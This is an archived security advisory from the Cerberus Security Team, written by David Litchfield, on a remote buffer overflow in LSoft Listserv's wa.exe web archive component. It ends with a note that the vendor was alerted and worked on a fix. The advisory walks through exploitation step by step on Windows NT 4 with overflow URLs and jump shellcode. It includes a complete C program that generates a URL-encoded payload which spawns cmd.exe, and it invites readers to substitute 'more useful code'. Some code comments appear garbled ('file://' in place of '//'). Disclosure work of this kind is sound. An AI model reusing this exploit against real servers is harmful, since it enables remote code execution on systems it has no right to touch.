COMMAND

    listserver

SYSTEMS AFFECTED

    *nix/Win32 Web Servers running

PROBLEM

    Cerberus Security Team found  following by David Litchfield.   The
    Cerberus Security  Team has  found a  remotely exploitable  buffer
    overrun  in  Lsoft's  Listserv  Web  Archive  component (wa/wa.exe
    v1.8d - this is the most recent version.  Earlier versions may  be
    affected.).  Listserv is the world's most popular software package
    for providing mailing  lists.  The  Web Archives component  allows
    List owners to  make available over  the web mails  that have been
    sent to the mailing list.  Both the the Windows and  Unix versions
    are affected by this overflow.  By making a special formed request
    to the Web Archive component  it is possible to overflow  a buffer
    allowing  arbitrary  code  to  be  executed,  compromising the web
    server.

    Following section specifically looks at the overrun on Windows  NT
    4 SP6a though the principle is same on the *nix versions.

    As  far  as  exploiting  this  overrun  is concerned there are two
    hurdles  to  overcome.   Firstly,  the  string  is  tolower()ed  -
    meaning that  upper case  letters are  converted to  lower case eg
    A ->  a.   This is  a problem  because some  opcodes needed in any
    exploit  code   will  squashed.   For  example   the  "push   ebp"
    instruction is 55h - which is also the hex code for the  uppercase
    letter "U".   Due to  the tolower()ing  this will  be converted to
    75h - making it no longer the "push ebp" instruction.

    The  second  problem  is  that  when  the  buffer  is  overflowed,
    overwriting  the  saved  return  address,  before  the ret(urn) is
    called a simple read access violation occurs:

        "The instruction at address 0x00427FC3 tried to read memory at 0x61616161"

    This happens  because one  of the  instructions called  before the
    ret(urn) is

        mov edi,dword ptr[ebp-14h]

    This tells the processor to move into the EDI register the address
    pointed to by the stack base pointer (EBP) minus 20 bytes.  Due to
    the overflow, the  value found at  this address is  now 0x61616161
    (Remember, even though  we've used upper  case As to  overflow the
    buffer they're  converted to  the lowercase  "a" hence  instead of
    there being 0x41414141 at this  address it is 0x61616161).   A few
    instructions after this has been moved into the EDI there is

        cmp byte ptr[edi],0

    This will compare  the value pointed  to by the  EDI register with
    0.  As the address in the EDI is 0x61616161 the processor goes  to
    that address to get  the value stored there  to compare it with  0
    but when it gets there it finds that the memory here has not  been
    initialised.  Hence the access violation.

        http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    To workaround this problem we have to insert into overflow  string
    an address  where the  memory _is_  intialized -  that is  where a
    value can be  found at that  address. We know  kernel32.dll _will_
    be loaded into the address space  of the process (it always is  in
    any process  on NT)  so for  safety's sake  we'll insert  into the
    overflow  string  an   address  smack  bang   in  the  middle   of
    kernel32.dll.  This way when the

        mov edi,dword ptr[ebp-14h]
        ..
        cmp byte ptr[edi],0

    instructions are called we  won't get the access  violation. After
    a  bit  of  trial  and  error  we  find  that we need to set bytes
    392,391,390 and  389 in  our overflow  string to  an address where
    kernel32.dll is loaded.   We'll get away  with only having  to set
    the more significant part  of the address -  ie bytes 392 and  391
    so we set these to %77 and %f3.

    When we have done this we try the overflow string again.

        http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%f3%77AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Bang!  We  now  get  the  overflow  we've  been  looking for.  The
    instruction at 0x61616161 referenced  memory at 0x61616161.   This
    means we've gained control of  the program's execution and we  can
    direct it to where we want  it to go to find the  next instruction
    to execute.   At this stage there's still a fairly long to go  and
    there's no guarantee we  will be able to  exploit this due to  the
    tolower()ing.

    First  off  we  need  find  out  what  we  have  to work with.  On
    debugging after the overflow we can  see that the tail end of  our
    overflow string can be found at  the stack pointer - the ESP.   So
    all we need to do is find  an address in memory we there's a  "jmp
    esp" or  "call esp"  instruction.   This way  if we  overwrite the
    saved return address  with such an  address where we  can find one
    of these instructions the processor will jump down to the ESP  and
    start executing downwards from there.

    As  you'll  see  though  the  tail  of  our  exploit string is the
    tolower()ed version.  We'll need to find if there is any occurence
    of our  overflow string  in memory  that hasn't  gone through  the
    tolower()ing process.   None of  the registers  point to  anything
    useful so doing  a manual search  we eventually find  our pristine
    string at address 0x00205370.

    If we can get back to this address somehow we'll be able to get  a
    decent working exploit out of this.  The easiest way to get  there
    is to jump to it.  What we could do then is write and embed a  wee
    bit of code in the overflow  string that ends up at the  ESP which
    will jump us to address 0x00205370 where we'll place our main  bit
    of code making giving our overflow string the following format:

        main-code-goeshere-padding-readableaddress-padding-code-that'll-jump-us-to-the-beginning-of-this-string

    The only problem is this bit  of code that'll jump us to  where we
    really want to go to  cannot have any byte that'll  be tolower()ed
    and on top of this the address  we need to get back to has  a NULL
    in it.

    As far as the NULL is concerned, this is easily resolved - we only
    have to subtract a  number A by a  number B to give  us 0x00205370
    eg:

        0xFFFFFFFF - 0xFFDFAC8F = 0x00205370

    We can mov 0xFFFFFFFF into  a register and simply sub(tract)  from
    it 0xFFDFAC8F and be left with the address we need to jump to.

        mov edi, 0xFFFFFFFF
        sub edi, 0xFFDFAC8F
        jmp edi

    This is the code we need - but is there any character that will be
    tolower()ed?

        ba ff ff ff ff
        81 ea 87 ac df ff
        ff e2

    Looking at the byte  info of the opcodes  we can see that  none of
    them will be tolower()ed. Cool.  So now we've managed to  get back
    to the beginning  our unadulterated overflow  string.  It  is here
    we'll place our main  bit of exploit code.   The sample code  here
    is "proof of  concept" only and  will simply create  a file called
    "cerberus.txt".   More useful  code is  left as  excercise of  the
    imagination of the reader.

    /////////////////////////////////////////////////////////////////
    //
    //
    // LSOFT's Listserv web archives wa.exe buffer overflow
    //
    //
    // This is "proof of concept code" and will spawn a shell
    // perform a directory listing and redirect the output
    // to a file called "cerberus.txt". Will work on Windows NT 4
    // SP6a
    //
    //
    // David Litchfield (mnemonix@globalnet.co.uk)
    //
    // 1st May 2000
    //
    //
    // Cut and paste the output into your web browser.
    //
    /////////////////////////////////////////////////////////////////
    
    #include <stdio.h>
    int main()
    {
     unsigned char exploit[2000]="";
     int count = 0;
    
     while(count <100)
      {
       exploit[count]=0x90;
       count ++;
      }
    
     // push ebp
     exploit[count]=0x55;
     count ++;
    
     // mov ebp,esp
     exploit[count]=0x8B;
     count ++;
     exploit[count]=0xEC;
     count ++;
    
     // mov eax, 0x77f1a986
     exploit[count]=0xb8;
     count ++;
     exploit[count]=0x86;
     count ++;
     exploit[count]=0xa9;
     count ++;
     exploit[count]=0xf1;
     count ++;
     exploit[count]=0x77;
     count ++;
    
     // mov ebx, 0xffffffff
     exploit[count]=0xbb;
     count ++;
     exploit[count]=0xff;
     count ++;
     exploit[count]=0xff;
     count ++;
     exploit[count]=0xff;
     count ++;
     exploit[count]=0xff;
     count ++;
    
     file://sub ebx, 0xffffff8B
     exploit[count]=0x83;
     count ++;
     exploit[count]=0xeb;
     count ++;
     exploit[count]=0x8B;
     count ++;
    
     // push ebx
     exploit[count]=0x53;
     count ++;
    
     // push "xt.s"
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x73;
     count ++;
     exploit[count]=0x2e;
     count ++;
     exploit[count]=0x74;
     count ++;
     exploit[count]=0x78;
     count ++;
    
     file://push "ureb"
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x62;
     count ++;
     exploit[count]=0x65;
     count ++;
     exploit[count]=0x72;
     count ++;
     exploit[count]=0x75;
     count ++;
    
     file://push "rec "
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x20;
     count ++;
     exploit[count]=0x63;
     count ++;
     exploit[count]=0x65;
     count ++;
     exploit[count]=0x72;
     count ++;
    
     file://push "> ri"
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x69;
     count ++;
     exploit[count]=0x72;
     count ++;
     exploit[count]=0x20;
     count ++;
     exploit[count]=0x3e;
     count ++;
    
     file://push "d c/"
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x2f;
     count ++;
     exploit[count]=0x63;
     count ++;
     exploit[count]=0x20;
     count ++;
     exploit[count]=0x64;
     count ++;
    
     file://push " exe"
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x65;
     count ++;
     exploit[count]=0x78;
     count ++;
     exploit[count]=0x65;
     count ++;
     exploit[count]=0x20;
     count ++;
    
    
     file://push "cmd."
     exploit[count]=0x68;
     count ++;
     exploit[count]=0x63;
     count ++;
     exploit[count]=0x6d;
     count ++;
     exploit[count]=0x64;
     count ++;
     exploit[count]=0x2e;
     count ++;
    
     file://mov ebx, esp
     exploit[count]=0x8b;
     count ++;
     exploit[count]=0xdc;
     count ++;
    
     file://xor esi, esi
     exploit[count]=0x33;
     count ++;
     exploit[count]=0xf6;
     count ++;
    
     file://push esi
     exploit[count]=0x56;
     count ++;
    
     file://push ebx
     exploit[count]=0x53;
     count ++;
    
     file://call eax
     exploit[count]=0xff;
     count ++;
     exploit[count]=0xd0;
     count ++;
    
     // set a break point (int 3)
     while(count <420)
      {
       exploit[count]=0xCC;
       count ++;
      }
    
    
     // overwrite the return address
    
     exploit[count]=0x36;
     count ++;
     exploit[count]=0x28;
     count ++;
     exploit[count]=0xf3;
     count ++;
     exploit[count]=0x77;
     count ++;
    
     // put in 40 nops (0x90)
    
     while (count < 464)
      {
       exploit[count]=0x90;
       count ++;
      }
    
     // write our code that'll get us back into our un-tolower()ed string
    
     // move edx, 0xFFFFFFFF
     exploit[count]=0xBA;
     count ++;
     exploit[count]=0xFF;
     count ++;
     exploit[count]=0xFF;
     count ++;
     exploit[count]=0xFF;
     count ++;
     exploit[count]=0xFF;
     count ++;
    
     // sub edx, 0xFFDFAC87
     exploit[count]=0x81;
     count ++;
     exploit[count]=0xEA;
     count ++;
     exploit[count]=0x87;
     count ++;
     exploit[count]=0xAC;
     count ++;
     exploit[count]=0xDF;
     count ++;
     exploit[count]=0xFF;
     count ++;
    
     // jmp edx
     exploit[count]=0xFF;
     count ++;
     exploit[count]=0xE2;
     count ++;
    
     // set readable part in memory to stop first AV
    
     exploit[390]=0x36;
     exploit[390]=0xf3;
     exploit[391]=0x77;
    
     count = 0;
     while(count < 477)
      {
       printf("%%%x",exploit[count]);
       count ++;
      }
    
     return 0;
    }

SOLUTION

    Lsoft were alerted to this on  the the 28th April 2000 and  worked
    fix for this.  Cerberus would like to thank everyone involved  for
    their prompt response.